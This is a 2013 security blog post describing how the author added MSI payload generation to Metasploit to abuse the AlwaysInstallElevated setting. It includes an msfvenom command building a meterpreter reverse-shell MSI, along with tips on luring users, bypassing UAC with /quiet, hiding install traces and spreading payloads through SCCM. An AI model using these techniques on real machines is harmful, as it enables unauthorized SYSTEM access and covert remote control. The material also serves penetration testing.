Sunday 10 March 2013

Metasploit MSI Payload Generation

A few months ago I created a Metasploit Local Exploit to capitalize on a registry/group policy setting that meant that .msi files were installed with SYSTEM privileges. This was documented by Parvez Anwar a while back and exploits the 'AlwaysInstallElevated' registry key or 'Always install with elevated privileges' group policy. The result is with these settings enabled a user can escalate their privileges to SYSTEM by running an .msi that executes a command or binary of their choosing.

It was relatively straightforward to create an .msi file that executed a file or command, using WiX, but integrating it into Metasploit to contain an automatically generated payload was not. There are no libraries to generate .msi files in Ruby as far as I could determine.

The workaround was to create a static .msi file that executes 'payload.exe' in the same folder. This .msi file and a generated Metasploit .exe are both uploaded to the target machine and the payload is executed by the .msi. This felt a bit clunky to me and I wanted to package it all up in one neat payload.

I created a simple .msi file containing a buffer as a template file. The plan was to locate the start offset (indicated by __PAYLOAD__), and overwrite that with my generated PE file. Unfortunatly, due to the way the file is constructed, it is not placed in a linear fashion within the .msi.

Bs before As doh!

With a bit of research I was able to uncover that while the .msi format isn't publicly documented the Microsoft Compound Document format is. A good practical description of it is available on Using this I was able to work out the chain of locations the buffer was split into and I could correctly overwrite the file with my generated payload. Now I can generate .msi files with custom payloads using my template .msi:

./msfvenom -f msi -p windows/meterpreter/reverse_tcp LHOST= LPORT=4444 > meterp.msi

There are some interesting things to note if you are sending malicious .msi files to a target user. By default it will ask a normal user for admin credentials, or an admin user to accept the changes (if UAC is enabled).

The flipside to this is that the executable will be run under SYSTEM privileges.

If you can entice the user, or find another way, to run the .msi file via msiexec with the /quiet flag then this will bypass UAC. The executable will be run under the normal user's privileges, or SYSTEM if they were an admin.

To prevent a record of the installation in the Windows Program list some invalid VBS is attempted to make the installation fail. This will leave behind only a MSI .log file in the %TEMP% folder and a .tmp file in the C:\Windows\Installer folder (which cannot be deleted as it is the running executable).
I believe there are methods to make an .msi file install without requiring administrative privileges for normal users, and as my installation does not touch Program Files or the registry it is likely with further modification that this should be possible. Any feedback on this would be happily received.

You can watch the progress of this as it navigates its way into the Metasploit Framework by the Github pull request.

Whilst working on this module I was thinking of the other uses it could be put to. It may be useful when exploiting a network that uses SCCM or other third party software control or update mechanisms. I hope one day to find a writeable 'update' directory which will automatically distribute .msi files to the network.</dream>

1 comment:

  1. Nice module!
    May be it will be interesting for you:
    I’m not sure, but there was possibility to insert an evil payload in a singed MSI. May be, you will implement it into your module.